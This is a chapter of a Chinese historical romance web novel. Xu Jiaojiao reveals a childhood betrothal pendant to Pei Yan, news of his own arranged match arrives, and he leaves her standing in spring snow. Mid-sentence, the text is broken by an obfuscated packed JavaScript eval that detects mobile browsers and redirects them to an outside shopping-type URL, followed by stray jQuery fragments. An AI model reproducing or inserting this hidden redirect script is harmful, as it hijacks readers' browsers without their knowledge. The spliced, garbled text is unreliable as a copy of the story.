春夜料峭,裴宴来时已近亥时。
他立在门口,夜风吹着他的发梢微微飞扬,许娇娇低头让进他,到了堂屋的圈椅上落座。目光在烛光下望着她时,像浸在温水里的墨玉。
许娇娇心头一跳,拿起桌上的壶给他斟茶,手却不自觉地抖了一下,茶水溅出几滴在桌面上。
裴宴伸手按住她的手腕:“怎么了?”
他的掌心温热,带着薄茧。许娇娇抬眸看他,嘴唇动了动,却又垂下眼去,轻轻抽回手,拿帕子拭去桌上的水渍。
“没什么。”她说,声音低低的,“你这些日子辛苦,我叫静心做些夜宵来——”
“娇娇。”裴宴唤她。
这是他们私下相处时,他偶尔会用的称呼。
记得第一次他这样叫她时,她心跳如鼓,面上却强作镇定。
此刻这两个字入耳,许娇娇鼻头一酸,险些落下泪来。她忙转过身去,假装整理桌上的茶具:“怎么了?”
裴宴站起身,走到她身后,离她不过一臂的距离。他没有再靠近,只是低声道:“你今日不对劲。从进门到现在,你一直不敢看我。”
许娇娇的手指攥紧了茶壶的把手。
她确实不敢看他。
自从陆昭出现,自从得知那桩婚约,她夜夜辗转难眠。师姐拥着她安慰,却也只能陪着她发呆,师姐也没什么主意。静心问她是不是想家了,她勉强笑笑,说有点。
可她骗不过自己。
她怕。怕裴宴知道后,会用什么样的眼神看她;怕这好不容易攒起来的一点情意,会被一纸婚约打得粉碎;更怕……更怕自己根本没有资格去争什么。
父母之命,媒妁之言。
她阿爹阿娘虽已不在,可那半块玉佩是真的,陆昭父亲与伯父的交情是真的,当年订下的婚约也是真的。
在这个礼教森严的世界,她能违抗吗?她敢违抗吗?
“娇娇。”裴宴又唤了一声,语气里添了几分担忧,“你到底怎么了?”
许娇娇闭了闭眼。
说。
还是不说?
说了,或许他会转身离去,从此陌路;不说,这桩事就像一根刺,扎在心头,迟早会化脓溃烂,把她从里头掏空。
她想起阿娘写的那句诗,“二十年来如一梦”。
阿娘嫁给阿爹,是心甘情愿的吗?阿娘从横塘路的柳家,跟着阿爹隐姓埋名、东躲西藏,可曾后悔过?
她不知道。
她只知道,如果今夜不说,她会后悔一辈子。
许娇娇转过身来,抬起眼,对上裴宴的目光。
烛火在他眼底跳动,映出两个小小的光点。那光点里,有她。
“裴宴。”她唤他的名字,声音轻得像一片落在水面的花瓣,“我有话同你说。”
裴宴的眉心微微一跳。
他察觉到了什么。这些日子在刑部翻旧档,在那些积了灰的卷宗里,他见过太多人的命运沉浮。他知道,每当有人用这种语气开口,接下来的话,往往不会让人好受。
可他只是点了点头,道:“你说。”
许娇娇垂下眼,从颈间取出那根红绳。红绳上坠着一小块羊脂玉,只有半块,断口参差,像是被人从中掰开的。
裴宴的目光落在玉佩上,瞳孔微微一缩。
他认得这玉。上次见她时,这玉贴身戴着,他只瞥见一眼,以为是普通的护身符。此刻仔细看去,那玉质细腻温润,绝非寻常人家所有。
“这玉……”他开口。
“是我自小戴着的。”许娇娇将玉佩托在掌心,低声道,“从我记事起,就一直戴在我的颈间,我一直以为是阿爹阿娘的遗物,从未想过......”
她那时不懂,只当是阿爹怕她走丢了,留个信物好相认。直到陆昭出现,她才明白,这半块玉是什么意思。
“前些日子,”她继续说,声音越来越低,“我在城南药铺遇见一个人。他姓陆,单名一个昭字。他父亲与伯父是故交,当年一同流放岭南……”
她顿了顿,抬起眼,看着裴宴:“他手里有另外半块玉。”
裴宴的呼吸停了一瞬。
他看着许娇娇掌心的那半块玉佩,看着红绳在她颈间勒出的淡淡痕迹,忽然明白了一切。
“婚约。”他说,语气平静得有些异常,“是婚约信物。”
许娇娇点了点头。
她不敢看他的眼睛,只盯着自己掌心的玉。那玉在烛光下泛着温润的光,像是阿爹在看着她,阿娘在看着她,问她:孩子,你选谁?
可她选不了。
一个是父母之命,是伯父与陆家父亲在流放途中结下的生死之约;一个是……是她自己选的人,是她从菰城到京城,从尼庵到药铺,一步一步走到今天,唯一想共度余生的人。
她能选吗?
“陆公子说,”她深吸一口气,“这是当年伯父与他父亲定下的。那时我刚出生不久,伯父写信给阿爹,阿爹应下了。后来……后来伯父流放,阿爹隐姓埋名,这桩事便搁置了。如今陆公子找来,是要……是要履行婚约的。”
最后一个字落下,屋子里静得能听见烛芯燃烧的噼啪声。
裴宴没有说话。
许娇娇终于抬起头,看向他。
他站在烛光里,脸上的神情看不清,只有那双眼睛,黑沉沉的,像深不见底的井。井底有什么在翻涌,可水面纹丝不动,什么都看不出来。
“裴宴……”她轻声唤他。
“你如何想?”他忽然开口,声音有些哑。
许娇娇怔住。
“你如何想?”裴宴又问了一遍,目光定定地看着她,仿佛要将她整个人看穿,“父母之命,媒妁之言,这是规矩。可我想知道,你心里如何想?”
许娇娇的眼泪落了下来。
她想说什么?她能说什么?
她想说,我心里有你。从菰城到京城,从春到冬,我心里一直有你。我想嫁给你,想和你一起回菰城看桃花,想在柳枝巷的那个小院里,和你一起白头到老。
可她说不出口。
“父母之命,我不敢违。”她垂泪道,声音哽咽,“可……可我心里……”
话未说完,院门忽然被叩响。
叩叩叩——急促得很,像是有什么急事。
许娇娇的话顿住,裴宴也转过头去,眉心皱起。
片刻后,明月的脚步声从外头传来,一路穿过院子,停在正房门口。他敲了敲门,声音有些急促:“郎主,出事了。”
裴宴沉声道:“进来。”
明月推门而入,面色发白,看都不敢看许娇娇,只对着裴宴道:“郎主,盯着府上的小厮来报,说……说章夫人方才去了魏家。”
裴宴的眉头拧得更紧:“何时去的,去了多久?”
明月吞了口唾沫,声音愈发低了下去:“一刻钟前,小的收到消息,说到了魏府差不多有两刻钟了。”
“知道了,你先退下吧!”裴宴道。
明月小心的退了出去。
屋子里瞬间静得落针可闻。
许娇娇的眼泪还挂在脸上,可她已经忘了哭。
她看着裴宴,看见他的脸色一点一点变得铁青,看见他的拳头攥紧,松开又攥紧,眼眸深处暗藏着一抹戾气。
章夫人。
裴宴的继母。
魏家。
那个他从未见过、却被定下的未婚妻。
许娇娇忽然想起在泗洲听到的传言,原来,这事果然是真的,他果然和自己一样也是有婚约的,订的还是世家大族的娘子。
原来他也在两难之中。原来他也被父母之命、家族之约捆住了手脚。
“裴宴……”她开口,却发现自己的声音沙哑说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17438549|197528||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不出话来。
裴宴转过头来,看着她。
那目光复杂极了,有痛,有愧,有无奈,有不甘,还有许多许多她看不懂的东西。
他张了张嘴,似乎想说什么。可最终,他什么都没说,只是深深地看了她一眼,然后转身,大步往外走去。
“裴宴!”许娇娇追出屋子。
春夜的风灌进衣领,凉得像水。裴宴的背影已经走到了院门口,玄色的斗篷在夜色中几乎看不见。
他在门口顿了顿,没有回头。
“等我。”他说,声音被风吹得零零落落。
然后,院门被推开,又合上。
他的背影消失在夜色里。
许娇娇站在廊下,夜风拂面,吹得她衣袂翻飞。她抬起手,想去抓住什么,可掌心里空空的,只有那半块玉佩,被风吹得微微晃动。
明月不知何时退下了。
静心和静尘从厢房里出来,站在她身后,谁也不敢出声。
不知过了多久,许娇娇忽然感觉到脸上凉凉的。
她抬起头,看见夜空中飘下细细的、白白的、纷纷扬扬的东西。
雪。
春雪。
三月的京城,竟下起了雪。
那雪落在她脸上,落在她发上,落在她肩上,凉丝丝的,像无数细密的针,扎得人浑身发冷。
静尘走上前来,轻轻揽住她的肩。
许娇娇靠在她身上,一句话也说不出来。
她就那样站着,站在春雪里,看着那扇合上的院门,看着那个人消失的方向,看着空荡荡的夜色,一动不动。
雪越下越大,渐渐染白了她的发顶。
静心吓坏了,小声问静尘:“师姐,娇杏她……”
静尘摇摇头,示意她别出声。她只是静静地揽着许娇娇,像当年在后山的茅屋里,揽着那个被水仙姑抛弃的小尼姑一样。
许娇娇没有哭。
她只是看着那扇门,一遍一遍地想:他说等他......
可他能回来吗?她不知道。
她只知道,这一夜之后,一切都不一样了。
她和他之间,隔着的从来不只是门第,还有这该死的世道,该死的父母之命,该死的……他们各自背负的一切。
静尘轻声道:“回屋吧,外头冷。”
许娇娇摇了摇头。
她不想回屋。屋里太暖,太静,太像个可以逃避的地方。她宁愿站在这里,让雪落在身上,让冷浸透骨头,让她清清楚楚地记住这一夜。记住她的两难,和他的两难,记住这春夜里的雪,和她心里那个始终没能说出口的答案。
可她终究还是没能站到天亮。
不知过了多久,静尘硬是将她拉回了屋里。她们替她脱下沾了雪的外衣,扶她坐到榻上,给她披上被子,又点了炭盆,把屋子烘得暖暖的。
许娇娇坐在榻上,一动不动。
窗纸渐渐透进微光,天要亮了。
静心趴在桌边睡着了,静尘靠着榻沿,也阖着眼。
许娇娇却睁着眼,看着窗外那一点点亮起来的天色。
雪停了。
窗棂上积着一层薄薄的雪,映着晨光,白得刺眼。
她忽然觉得心如刀绞。
那一刀一刀绞着的,不是疼痛,是明白。
她终于明白,她和他之间,从来不只是门第之差。还有那些看不见的线,那些挣不开的网,那些压在他们各自肩上的、叫做“责任”和“规矩”的东西。
她有她的婚约。
他有他的婚约。
他们都想挣脱,可他们都不知道,挣脱之后,等着他们的是什么。
许娇娇低下头,看着掌心里的半块玉佩。
玉还是那块玉,温润如初,仿佛什么都没发生过。
可她忽然觉得它好重,重得她几乎握不住。